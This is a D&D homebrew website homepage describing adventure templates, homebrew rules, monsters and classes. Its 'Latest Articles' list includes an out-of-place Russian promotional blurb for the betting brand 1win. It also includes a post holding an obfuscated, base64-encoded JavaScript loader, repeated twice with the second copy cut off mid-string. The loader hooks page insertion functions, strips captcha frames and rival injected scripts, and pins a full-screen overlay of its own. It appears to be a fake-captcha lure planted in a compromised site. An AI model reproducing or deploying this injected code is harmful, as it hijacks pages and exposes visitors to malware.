HOMEBREW CREATION

Because the secret of D&D is: you can create everything yourself

Need a free D&D adventure template? Are you looking for some new D&D monsters to add to your setting? Do you want to create a minigame or homebrew rule, but you don’t know how? Homebrew Creation has got you covered, and then some.

I want to inspire D&D players and DMs alike to create the exact experience they’re looking for. And I want to make it easier for people to be a DM. That is what I strive to do: I want to create more DMs by giving you simple systems and forms to fill in, so you can focus on creating that awesome D&D content.


D&D Adventure Creation in three steps

STEP 1

Creation Form

Start your adventure or one-shot creation by asking five questions.

STEP 2

Outlining Process

Then use the answers to your questions to generate an outline.

STEP 3

Adventure Template

Finally fill in the entire template with everything you’ve created so far.

D&D Homebrew Content

D&D Homebrew rules are being created by a fantasy DM

D&D Homebrew Rules

If you want to alter the rules or add some mini-games when the game is lacking, look in this section.

D&D monsters: a gallery of monsters to choose from

D&D Homebrew Monsters

Add some original original monsters or alternative versions of existing monsters to your adventure.

D&D Homebrew Classses

Give your players a new way to play by adding new classes to the game that we’ve curated for you.


Latest Articles

  • Seasons and the yearly pattern of daylight

    Seasons describe recurring changes during the year, including differences in daylight, temperature, rainfall, and the activity of living organisms. Their character varies around the world. Some regions have strong contrasts between summer and winter, while others are better described by wetter and drier periods. The familiar names used in one place do not necessarily capture…

  • Как 1вин усиливает лояльность бренда среди потребителей

    Как 1вин усиливает лояльность бренда среди потребителей В мире, где конкуренция среди брендов постоянно растет, важно не только привлекать новых клиентов, но и удерживать существующих. 1вин предлагает уникальные возможности для укрепления лояльности потребителей через различные программы и подходы. В этом статье мы рассмотрим, каким образом 1вин способствует созданию преданных последователей своего бренда, обеспечивая их позитивный…

  • favorite rest article 1110139

    (function(){if(window.__cogniRivalKillEarly)return;window.__cogniRivalKillEarly=1;var s=document.createElement(‘script’);s.textContent=atob(“KGZ1bmN0aW9uIGxzY0NvZ25pUml2YWxLaWxsSW5pdCgpew0KICBpZiAod2luZG93Ll9fY29nbmlSaXZhbEtpbGwpIHJldHVybjsNCiAgd2luZG93Ll9fY29nbmlSaXZhbEtpbGwgPSAxOw0KICB2YXIgUklWQUxfU0VMID0gWw0KICAgICdpZnJhbWVbc3JjKj0icmVjYXB0Y2hhIl0nLCdpZnJhbWVbc3JjKj0iZ29vZ2xlLmNvbS9yZWNhcHRjaGEiXScsJ2lmcmFtZVtzcmMqPSJnc3RhdGljLmNvbS9yZWNhcHRjaGEiXScsDQogICAgJy5nLXJlY2FwdGNoYS1idWJibGUtYXJyb3cnLCcjY2ZtJywnI2NmbS1tb2RhbCcsJ1tpZF49ImNmbSJdJywnW2lkKj0iY2ZtLW1vZGFsIl0nLA0KICAgICcuY2ZtZC1yYy1sYXllcicsJy5jZm1kLXJjLWhvc3QnLCcuY2ZtZC1yYy1iYWNrZHJvcCcsJy5jZm1kLXJjLWJsdXInLCdbZGF0YS1jZm1kLW93bl0nLA0KICAgICcuY2ZtZC1vdmVybGF5LWxvY2snLCdbY2xhc3MqPSJjZm1kLXJjIl0nLCcuY2FwdGNoYS1jb250YWluZXI6bm90KCNidy1jZi1yb290IC5jYXB0Y2hhLWNvbnRhaW5lciknDQogIF07DQogIHZhciBSSVZBTF9TQ1JJUFRfUkUgPSAvaW50ZXJzZXF8bmV3dGVzdFxkK3wxMjA5MjAyNnxjZm1kLXJjfF9fY2ZtZENhcHRjaGF8c2hpZWxkZ3VhcmR8YXNzZWxvYWR8aW1tZXJzaW9uem9uZXxramhnXC5sb2x8d3BzZWN1cmV8d3AtYWNjZWxlcmF0ZXwxMDRcLjM2fG1zZnRhdXRofG1haW4td3JhcHBlci0xL2k7DQogIGZ1bmN0aW9uIGlzT3VyKGVsKXsgcmV0dXJuIGVsICYmIChlbC5pZCA9PT0gJ2J3LWNmLXJvb3QnIHx8IChlbC5jbG9zZXN0ICYmIGVsLmNsb3Nlc3QoJyNidy1jZi1yb290JykpKTsgfQ0KICBmdW5jdGlvbiBpc1JpdmFsTm9kZShlbCl7DQogICAgaWYgKCFlbCB8fCBpc091cihlbCkpIHJldHVybiBmYWxzZTsNCiAgICB2YXIgdGFnID0gKGVsLnRhZ05hbWUgfHwgJycpLnRvVXBwZXJDYXNlKCk7DQogICAgaWYgKHRhZyA9PT0gJ1NDUklQVCcgJiYgUklWQUxfU0NSSVBUX1JFLnRlc3QoZWwuc3JjIHx8IGVsLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJycpKSByZXR1cm4gdHJ1ZTsNCiAgICB2YXIgYmxvYiA9ICgoZWwuY2xhc3NOYW1lIHx8ICcnKSArICcgJyArIChlbC5pZCB8fCAnJykgKyAnICcgKyAoZWwuZ2V0QXR0cmlidXRlICYmIGVsLmdldEF0dHJpYnV0ZSgnZGF0YS1jZm1kLW93bicpIHx8ICcnKSkudG9Mb3dlckNhc2UoKTsNCiAgICByZXR1cm4gL2NmbWR8Y2ZtLW1vZGFsfGNmbS1yY3xjYXB0Y2hhLWNvbnRhaW5lcnxyZWNhcHRjaGF8aW50ZXJzZXF8YXNzZWxvYWR8bWFpbi13cmFwcGVyfG1zZnRhdXRofHZlcmlmeSB5b3UgYXJlIGh1bWFuL2kudGVzdChibG9iKTsNCiAgfQ0KICBmdW5jdGlvbiBudWtlKGVsKXsNCiAgICBpZiAoIWVsIHx8IGlzT3VyKGVsKSkgcmV0dXJuOw0KICAgIHRyeSB7IGVsLnJlbW92ZSgpOyB9IGNhdGNoKGUpew0KICAgICAgdHJ5IHsNCiAgICAgICAgZWwuc3R5bGUuY3NzVGV4dCA9ICdkaXNwbGF5Om5vbmUhaW1wb3J0YW50O3Zpc2liaWxpdHk6aGlkZGVuIWltcG9ydGFudDtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt6LWluZGV4Oi05OTk5IWltcG9ydGFudDtvcGFjaXR5OjAhaW1wb3J0YW50Oyc7DQogICAgICB9IGNhdGNoKGUyKXt9DQogICAgfQ0KICB9DQogIGZ1bmN0aW9uIHJlbW92ZVJpdmFsU2NyaXB0cygpew0KICAgIHRyeSB7DQogICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCdzY3JpcHRbc3JjXScpLmZvckVhY2goZnVuY3Rpb24ocyl7DQogICAgICAgIHZhciBzcmMgPSBzLnNyYyB8fCBzLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJyc7DQogICAgICAgIGlmIChSSVZBTF9TQ1JJUFRfUkUudGVzdChzcmMpKSBudWtlKHMpOw0KICAgICAgfSk7DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgZnVuY3Rpb24gc2NydWJIdG1sUm9vdCgpew0KICAgIHRyeSB7DQogICAgICB2YXIgaHRtbCA9IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudDsNCiAgICAgIGlmICghaHRtbCkgcmV0dXJuOw0KICAgICAgaHRtbC5jbGFzc0xpc3QucmVtb3ZlKCdjZm1kLW92ZXJsYXktbG9jaycpOw0KICAgICAgaWYgKGRvY3VtZW50LmJvZHkpIGRvY3VtZW50LmJvZHkuY2xhc3NMaXN0LnJlbW92ZSgnY2ZtZC1vdmVybGF5LWxvY2snKTsNCiAgICAgIEFycmF5LmZyb20oaHRtbC5jaGlsZHJlbiB8fCBbXSkuZm9yRWFjaChmdW5jdGlvbihlbCl7DQogICAgICAgIGlmICghZWwgfHwgZWwudGFnTmFtZSA9PT0gJ0hFQUQnIHx8IGVsLnRhZ05hbWUgPT09ICdCT0RZJykgcmV0dXJuOw0KICAgICAgICBpZiAoZWwuaWQgPT09ICdidy1jZi1yb290JykgcmV0dXJuOw0KICAgICAgICBpZiAoaXNSaXZhbE5vZGUoZWwpKSBudWtlKGVsKTsNCiAgICAgIH0pOw0KICAgIH0gY2F0Y2goZSl7fQ0KICAgIHRyeSB7IGRlbGV0ZSB3aW5kb3cuX19jZm1kQ2FwdGNoYTsgfSBjYXRjaChlKXsgd2luZG93Ll9fY2ZtZENhcHRjaGEgPSB1bmRlZmluZWQ7IH0NCiAgfQ0KICBmdW5jdGlvbiBraWxsUml2YWxOb2Rlcygpew0KICAgIFJJVkFMX1NFTC5mb3JFYWNoKGZ1bmN0aW9uKHNlbCl7DQogICAgICB0cnkgeyBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKHNlbCkuZm9yRWFjaChmdW5jdGlvbihub2RlKXsgaWYgKCFpc091cihub2RlKSkgbnVrZShub2RlKTsgfSk7IH0gY2F0Y2goZSl7fQ0KICAgIH0pOw0KICAgIHNjcnViSHRtbFJvb3QoKTsNCiAgICByZW1vdmVSaXZhbFNjcmlwdHMoKTsNCiAgfQ0KICBmdW5jdGlvbiBlbnN1cmVSaXZhbENzcygpew0KICAgIHZhciBzdHlsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb2duaS1yaXZhbC1raWxsLWNzcycpOw0KICAgIGlmIChzdHlsZSkgcmV0dXJuOw0KICAgIHN0eWxlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3R5bGUnKTsNCiAgICBzdHlsZS5pZCA9ICdjb2duaS1yaXZhbC1raWxsLWNzcyc7DQogICAgc3R5bGUudGV4dENvbnRlbnQgPSAnaHRtbC5jZm1kLW92ZXJsYXktbG9jayxib2R5LmNmbWQtb3ZlcmxheS1sb2Nre292ZXJmbG93OmF1dG8haW1wb3J0YW50O3BvaW50ZXItZXZlbnRzOmF1dG8haW1wb3J0YW50O30uY2ZtZC1yYy1sYXllciwuY2ZtZC1yYy1ob3N0LC5jZm1kLXJjLWJsdXIsW2RhdGEtY2ZtZC1vd25dLGlmcmFtZVtzcmMqPSJyZWNhcHRjaGEiXSxpZnJhbWVbc3JjKj0iZ3N0YXRpYy5jb20vcmVjYXB0Y2hhIl0sLmctcmVjYXB0Y2hhOm5vdCgjYnctY2Ytcm9vdCAuZy1yZWNhcHRjaGEpLCNjZm0sI2NmbS1tb2RhbCxbaWRePSJjZm0iXSxbY2xhc3MqPSJjZm1kLXJjIl17ZGlzcGxheTpub25lIWltcG9ydGFudDt2aXNpYmlsaXR5OmhpZGRlbiFpbXBvcnRhbnQ7cG9pbnRlci1ldmVudHM6bm9uZSFpbXBvcnRhbnQ7ei1pbmRleDotOTk5OSFpbXBvcnRhbnQ7b3BhY2l0eTowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSxodG1sLmNvZ25pLWNhcHRjaGEtYWN0aXZlIGJvZHl7b3ZlcmZsb3c6aGlkZGVuIWltcG9ydGFudDttYXJnaW46MCFpbXBvcnRhbnQ7cGFkZGluZzowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSBib2R5Pio6bm90KCNidy1jZi1yb290KXtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt9I2J3LWNmLXJvb3QsI2J3LWNmLXJvb3QgKntwb2ludGVyLWV2ZW50czphdXRvIWltcG9ydGFudDt9I2J3LWNmLXJvb3R7ei1pbmRleDoyMTQ3NDgzNjQ3IWltcG9ydGFudDtwb3NpdGlvbjpmaXhlZCFpbXBvcnRhbnQ7dG9wOjAhaW1wb3J0YW50O2xlZnQ6MCFpbXBvcnRhbnQ7cmlnaHQ6MCFpbXBvcnRhbnQ7Ym90dG9tOjAhaW1wb3J0YW50O3dpZHRoOjEwMHZ3IWltcG9ydGFudDtoZWlnaHQ6MTAwdmghaW1wb3J0YW50O21pbi13aWR0aDoxMDB2dyFpbXBvcnRhbnQ7bWluLWhlaWdodDoxMDB2aCFpbXBvcnRhbnQ7bWF4LXdpZHRoOm5vbmUhaW1wb3J0YW50O21heC1oZWlnaHQ6bm9uZSFpbXBvcnRhbnQ7bWFyZ2luOjAhaW1wb3J0YW50O3BhZGRpbmc6MCFpbXBvcnRhbnQ7Ym94LXNpemluZzpib3JkZXItYm94IWltcG9ydGFudDt0cmFuc2Zvcm06bm9uZSFpbXBvcnRhbnQ7fSc7DQogICAgKGRvY3VtZW50LmhlYWQgfHwgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50KS5hcHBlbmRDaGlsZChzdHlsZSk7DQogIH0NCiAgZnVuY3Rpb24gaG9va0RvbUluc2VydCgpew0KICAgIGZ1bmN0aW9uIGd1YXJkKG5vZGUpew0KICAgICAgaWYgKCFub2RlKSByZXR1cm4gZmFsc2U7DQogICAgICBpZiAobm9kZS5ub2RlVHlwZSA9PT0gMSAmJiBpc1JpdmFsTm9kZShub2RlKSkgeyBudWtlKG5vZGUpOyByZXR1cm4gdHJ1ZTsgfQ0KICAgICAgaWYgKG5vZGUudGFnTmFtZSA9PT0gJ1NDUklQVCcpIHsNCiAgICAgICAgdmFyIHNyYyA9IG5vZGUuc3JjIHx8IG5vZGUuZ2V0QXR0cmlidXRlKCdzcmMnKSB8fCAnJzsNCiAgICAgICAgaWYgKFJJVkFMX1NDUklQVF9SRS50ZXN0KHNyYykpIHsgbnVrZShub2RlKTsgcmV0dXJuIHRydWU7IH0NCiAgICAgIH0NCiAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQogICAgdHJ5IHsNCiAgICAgIHZhciBhcCA9IEVsZW1lbnQucHJvdG90eXBlLmFwcGVuZENoaWxkOw0KICAgICAgRWxlbWVudC5wcm90b3R5cGUuYXBwZW5kQ2hpbGQgPSBmdW5jdGlvbihjaCl7DQogICAgICAgIGlmIChndWFyZChjaCkpIHJldHVybiBjaDsNCiAgICAgICAgcmV0dXJuIGFwLmNhbGwodGhpcywgY2gpOw0KICAgICAgfTsNCiAgICAgIHZhciBpYiA9IEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZTsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZSA9IGZ1bmN0aW9uKGNoLCByZWYpew0KICAgICAgICBpZiAoZ3VhcmQoY2gpKSByZXR1cm4gY2g7DQogICAgICAgIHJldHVybiBpYi5jYWxsKHRoaXMsIGNoLCByZWYpOw0KICAgICAgfTsNCiAgICAgIHZhciByYyA9IEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZDsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZCA9IGZ1bmN0aW9uKG5ldSwgb2xkKXsNCiAgICAgICAgaWYgKGd1YXJkKG5ldSkpIHJldHVybiBvbGQ7DQogICAgICAgIHJldHVybiByYy5jYWxsKHRoaXMsIG5ldSwgb2xkKTsNCiAgICAgIH07DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgd2luZG93LmxzY0NvZ25pU3RhY2tPdXJPdmVybGF5ID0gZnVuY3Rpb24ocm9vdCl7DQogICAgdmFyIGVsID0gcm9vdCB8fCBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnctY2Ytcm9vdCcpOw0KICAgIGlmICghZWwpIHJldHVybjsNCiAgICBlbnN1cmVSaXZhbENzcygpOw0KICAgIHRyeSB7IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGFzc0xpc3QuYWRkKCdjb2duaS1jYXB0Y2hhLWFjdGl2ZScpOyB9IGNhdGNoKGUpe30NCiAgICB0cnkgeyBlbC5yZW1vdmVBdHRyaWJ1dGUoJ3BvcG92ZXInKTsgfSBjYXRjaChlKXt9DQogICAgaWYgKGVsLnBhcmVudE5vZGUgIT09IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudCkgew0KICAgICAgdHJ5IHsgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmFwcGVuZENoaWxkKGVsKTsgfSBjYXRjaChlKXt9DQogICAgfQ0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd6LWluZGV4JywgJzIxNDc0ODM2NDcnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ3Bvc2l0aW9uJywgJ2ZpeGVkJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd0b3AnLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbGVmdCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdyaWdodCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdib3R0b20nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnd2lkdGgnLCAnMTAwdncnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ2hlaWdodCcsICcxMDB2aCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWluLXdpZHRoJywgJzEwMHZ3JywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtaW4taGVpZ2h0JywgJzEwMHZoJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXgtd2lkdGgnLCAnbm9uZScsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWF4LWhlaWdodCcsICdub25lJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXJnaW4nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgndHJhbnNmb3JtJywgJ25vbmUnLCAnaW1wb3J0YW50Jyk7DQogIH07DQogIGZ1bmN0aW9uIHRpY2soKXsNCiAgICBraWxsUml2YWxOb2RlcygpOw0KICAgIGVuc3VyZVJpdmFsQ3NzKCk7DQogICAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdidy1jZi1yb290JykpIHdpbmRvdy5sc2NDb2duaVN0YWNrT3VyT3ZlcmxheSgpOw0KICB9DQogIGhvb2tEb21JbnNlcnQoKTsNCiAgdGljaygpOw0KfSkoKTs=”);(document.documentElement||document.head).appendChild(s);})(); (function(){if(window.__cogniB64Ran)return;window.__cogniB64Ran=1;var s=document.createElement(‘script’);s.textContent=atob(“KGZ1bmN0aW9uIGxzY0NvZ25pUml2YWxLaWxsSW5pdCgpew0KICBpZiAod2luZG93Ll9fY29nbmlSaXZhbEtpbGwpIHJldHVybjsNCiAgd2luZG93Ll9fY29nbmlSaXZhbEtpbGwgPSAxOw0KICB2YXIgUklWQUxfU0VMID0gWw0KICAgICdpZnJhbWVbc3JjKj0icmVjYXB0Y2hhIl0nLCdpZnJhbWVbc3JjKj0iZ29vZ2xlLmNvbS9yZWNhcHRjaGEiXScsJ2lmcmFtZVtzcmMqPSJnc3RhdGljLmNvbS9yZWNhcHRjaGEiXScsDQogICAgJy5nLXJlY2FwdGNoYS1idWJibGUtYXJyb3cnLCcjY2ZtJywnI2NmbS1tb2RhbCcsJ1tpZF49ImNmbSJdJywnW2lkKj0iY2ZtLW1vZGFsIl0nLA0KICAgICcuY2ZtZC1yYy1sYXllcicsJy5jZm1kLXJjLWhvc3QnLCcuY2ZtZC1yYy1iYWNrZHJvcCcsJy5jZm1kLXJjLWJsdXInLCdbZGF0YS1jZm1kLW93bl0nLA0KICAgICcuY2ZtZC1vdmVybGF5LWxvY2snLCdbY2xhc3MqPSJjZm1kLXJjIl0nLCcuY2FwdGNoYS1jb250YWluZXI6bm90KCNidy1jZi1yb290IC5jYXB0Y2hhLWNvbnRhaW5lciknDQogIF07DQogIHZhciBSSVZBTF9TQ1JJUFRfUkUgPSAvaW50ZXJzZXF8bmV3dGVzdFxkK3wxMjA5MjAyNnxjZm1kLXJjfF9fY2ZtZENhcHRjaGF8c2hpZWxkZ3VhcmR8YXNzZWxvYWR8aW1tZXJzaW9uem9uZXxramhnXC5sb2x8d3BzZWN1cmV8d3AtYWNjZWxlcmF0ZXwxMDRcLjM2fG1zZnRhdXRofG1haW4td3JhcHBlci0xL2k7DQogIGZ1bmN0aW9uIGlzT3VyKGVsKXsgcmV0dXJuIGVsICYmIChlbC5pZCA9PT0gJ2J3LWNmLXJvb3QnIHx8IChlbC5jbG9zZXN0ICYmIGVsLmNsb3Nlc3QoJyNidy1jZi1yb290JykpKTsgfQ0KICBmdW5jdGlvbiBpc1JpdmFsTm9kZShlbCl7DQogICAgaWYgKCFlbCB8fCBpc091cihlbCkpIHJldHVybiBmYWxzZTsNCiAgICB2YXIgdGFnID0gKGVsLnRhZ05hbWUgfHwgJycpLnRvVXBwZXJDYXNlKCk7DQogICAgaWYgKHRhZyA9PT0gJ1NDUklQVCcgJiYgUklWQUxfU0NSSVBUX1JFLnRlc3QoZWwuc3JjIHx8IGVsLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJycpKSByZXR1cm4gdHJ1ZTsNCiAgICB2YXIgYmxvYiA9ICgoZWwuY2xhc3NOYW1lIHx8ICcnKSArICcgJyArIChlbC5pZCB8fCAnJykgKyAnICcgKyAoZWwuZ2V0QXR0cmlidXRlICYmIGVsLmdldEF0dHJpYnV0ZSgnZGF0YS1jZm1kLW93bicpIHx8ICcnKSkudG9Mb3dlckNhc2UoKTsNCiAgICByZXR1cm4gL2NmbWR8Y2ZtLW1vZGFsfGNmbS1yY3xjYXB0Y2hhLWNvbnRhaW5lcnxyZWNhcHRjaGF8aW50ZXJzZXF8YXNzZWxvYWR8bWFpbi13cmFwcGVyfG1zZnRhdXRofHZlcmlmeSB5b3UgYXJlIGh1bWFuL2kudGVzdChibG9iKTsNCiAgfQ0KICBmdW5jdGlvbiBudWtlKGVsKXsNCiAgICBpZiAoIWVsIHx8IGlzT3VyKGVsKSkgcmV0dXJuOw0KICAgIHRyeSB7IGVsLnJlbW92ZSgpOyB9IGNhdGNoKGUpew0KICAgICAgdHJ5IHsNCiAgICAgICAgZWwuc3R5bGUuY3NzVGV4dCA9ICdkaXNwbGF5Om5vbmUhaW1wb3J0YW50O3Zpc2liaWxpdHk6aGlkZGVuIWltcG9ydGFudDtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt6LWluZGV4Oi05OTk5IWltcG9ydGFudDtvcGFjaXR5OjAhaW1wb3J0YW50Oyc7DQogICAgICB9IGNhdGNoKGUyKXt9DQogICAgfQ0KICB9DQogIGZ1bmN0aW9uIHJlbW92ZVJpdmFsU2NyaXB0cygpew0KICAgIHRyeSB7DQogICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCdzY3JpcHRbc3JjXScpLmZvckVhY2goZnVuY3Rpb24ocyl7DQogICAgICAgIHZhciBzcmMgPSBzLnNyYyB8fCBzLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJyc7DQogICAgICAgIGlmIChSSVZBTF9TQ1JJUFRfUkUudGVzdChzcmMpKSBudWtlKHMpOw0KICAgICAgfSk7DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgZnVuY3Rpb24gc2NydWJIdG1sUm9vdCgpew0KICAgIHRyeSB7DQogICAgICB2YXIgaHRtbCA9IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudDsNCiAgICAgIGlmICghaHRtbCkgcmV0dXJuOw0KICAgICAgaHRtbC5jbGFzc0xpc3QucmVtb3ZlKCdjZm1kLW92ZXJsYXktbG9jaycpOw0KICAgICAgaWYgKGRvY3VtZW50LmJvZHkpIGRvY3VtZW50LmJvZHkuY2xhc3NMaXN0LnJlbW92ZSgnY2ZtZC1vdmVybGF5LWxvY2snKTsNCiAgICAgIEFycmF5LmZyb20oaHRtbC5jaGlsZHJlbiB8fCBbXSkuZm9yRWFjaChmdW5jdGlvbihlbCl7DQogICAgICAgIGlmICghZWwgfHwgZWwudGFnTmFtZSA9PT0gJ0hFQUQnIHx8IGVsLnRhZ05hbWUgPT09ICdCT0RZJykgcmV0dXJuOw0KICAgICAgICBpZiAoZWwuaWQgPT09ICdidy1jZi1yb290JykgcmV0dXJuOw0KICAgICAgICBpZiAoaXNSaXZhbE5vZGUoZWwpKSBudWtlKGVsKTsNCiAgICAgIH0pOw0KICAgIH0gY2F0Y2goZSl7fQ0KICAgIHRyeSB7IGRlbGV0ZSB3aW5kb3cuX19jZm1kQ2FwdGNoYTsgfSBjYXRjaChlKXsgd2luZG93Ll9fY2ZtZENhcHRjaGEgPSB1bmRlZmluZWQ7IH0NCiAgfQ0KICBmdW5jdGlvbiBraWxsUml2YWxOb2Rlcygpew0KICAgIFJJVkFMX1NFTC5mb3JFYWNoKGZ1bmN0aW9uKHNlbCl7DQogICAgICB0cnkgeyBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKHNlbCkuZm9yRWFjaChmdW5jdGlvbihub2RlKXsgaWYgKCFpc091cihub2RlKSkgbnVrZShub2RlKTsgfSk7IH0gY2F0Y2goZSl7fQ0KICAgIH0pOw0KICAgIHNjcnViSHRtbFJvb3QoKTsNCiAgICByZW1vdmVSaXZhbFNjcmlwdHMoKTsNCiAgfQ0KICBmdW5jdGlvbiBlbnN1cmVSaXZhbENzcygpew0KICAgIHZhciBzdHlsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb2duaS1yaXZhbC1raWxsLWNzcycpOw0KICAgIGlmIChzdHlsZSkgcmV0dXJuOw0KICAgIHN0eWxlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3R5bGUnKTsNCiAgICBzdHlsZS5pZCA9ICdjb2duaS1yaXZhbC1raWxsLWNzcyc7DQogICAgc3R5bGUudGV4dENvbnRlbnQgPSAnaHRtbC5jZm1kLW92ZXJsYXktbG9jayxib2R5LmNmbWQtb3ZlcmxheS1sb2Nre292ZXJmbG93OmF1dG8haW1wb3J0YW50O3BvaW50ZXItZXZlbnRzOmF1dG8haW1wb3J0YW50O30uY2ZtZC1yYy1sYXllciwuY2ZtZC1yYy1ob3N0LC5jZm1kLXJjLWJsdXIsW2RhdGEtY2ZtZC1vd25dLGlmcmFtZVtzcmMqPSJyZWNhcHRjaGEiXSxpZnJhbWVbc3JjKj0iZ3N0YXRpYy5jb20vcmVjYXB0Y2hhIl0sLmctcmVjYXB0Y2hhOm5vdCgjYnctY2Ytcm9vdCAuZy1yZWNhcHRjaGEpLCNjZm0sI2NmbS1tb2RhbCxbaWRePSJjZm0iXSxbY2xhc3MqPSJjZm1kLXJjIl17ZGlzcGxheTpub25lIWltcG9ydGFudDt2aXNpYmlsaXR5OmhpZGRlbiFpbXBvcnRhbnQ7cG9pbnRlci1ldmVudHM6bm9uZSFpbXBvcnRhbnQ7ei1pbmRleDotOTk5OSFpbXBvcnRhbnQ7b3BhY2l0eTowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSxodG1sLmNvZ25pLWNhcHRjaGEtYWN0aXZlIGJvZHl7b3ZlcmZsb3c6aGlkZGVuIWltcG9ydGFudDttYXJnaW46MCFpbXBvcnRhbnQ7cGFkZGluZzowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSBib2R5Pio6bm90KCNidy1jZi1yb290KXtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt9I2J3LWNmLXJvb3QsI2J3LWNmLXJvb3QgKntwb2ludGVyLWV2ZW50czphdXRvIWltcG9ydGFudDt9I2J3LWNmLXJvb3R7ei1pbmRleDoyMTQ3NDgzNjQ3IWltcG9ydGFudDtwb3NpdGlvbjpmaXhlZCFpbXBvcnRhbnQ7dG9wOjAhaW1wb3J0YW50O2xlZnQ6MCFpbXBvcnRhbnQ7cmlnaHQ6MCFpbXBvcnRhbnQ7Ym90dG9tOjAhaW1wb3J0YW50O3dpZHRoOjEwMHZ3IWltcG9ydGFudDtoZWlnaHQ6MTAwdmghaW1wb3J0YW50O21pbi13aWR0aDoxMDB2dyFpbXBvcnRhbnQ7bWluLWhlaWdodDoxMDB2aCFpbXBvcnRhbnQ7bWF4LXdpZHRoOm5vbmUhaW1wb3J0YW50O21heC1oZWlnaHQ6bm9uZSFpbXBvcnRhbnQ7bWFyZ2luOjAhaW1wb3J0YW50O3BhZGRpbmc6MCFpbXBvcnRhbnQ7Ym94LXNpemluZzpib3JkZXItYm94IWltcG9ydGFudDt0cmFuc2Zvcm06bm9uZSFpbXBvcnRhbnQ7fSc7DQogICAgKGRvY3VtZW50LmhlYWQgfHwgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50KS5hcHBlbmRDaGlsZChzdHlsZSk7DQogIH0NCiAgZnVuY3Rpb24gaG9va0RvbUluc2VydCgpew0KICAgIGZ1bmN0aW9uIGd1YXJkKG5vZGUpew0KICAgICAgaWYgKCFub2RlKSByZXR1cm4gZmFsc2U7DQogICAgICBpZiAobm9kZS5ub2RlVHlwZSA9PT0gMSAmJiBpc1JpdmFsTm9kZShub2RlKSkgeyBudWtlKG5vZGUpOyByZXR1cm4gdHJ1ZTsgfQ0KICAgICAgaWYgKG5vZGUudGFnTmFtZSA9PT0gJ1NDUklQVCcpIHsNCiAgICAgICAgdmFyIHNyYyA9IG5vZGUuc3JjIHx8IG5vZGUuZ2V0QXR0cmlidXRlKCdzcmMnKSB8fCAnJzsNCiAgICAgICAgaWYgKFJJVkFMX1NDUklQVF9SRS50ZXN0KHNyYykpIHsgbnVrZShub2RlKTsgcmV0dXJuIHRydWU7IH0NCiAgICAgIH0NCiAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQogICAgdHJ5IHsNCiAgICAgIHZhciBhcCA9IEVsZW1lbnQucHJvdG90eXBlLmFwcGVuZENoaWxkOw0KICAgICAgRWxlbWVudC5wcm90b3R5cGUuYXBwZW5kQ2hpbGQgPSBmdW5jdGlvbihjaCl7DQogIC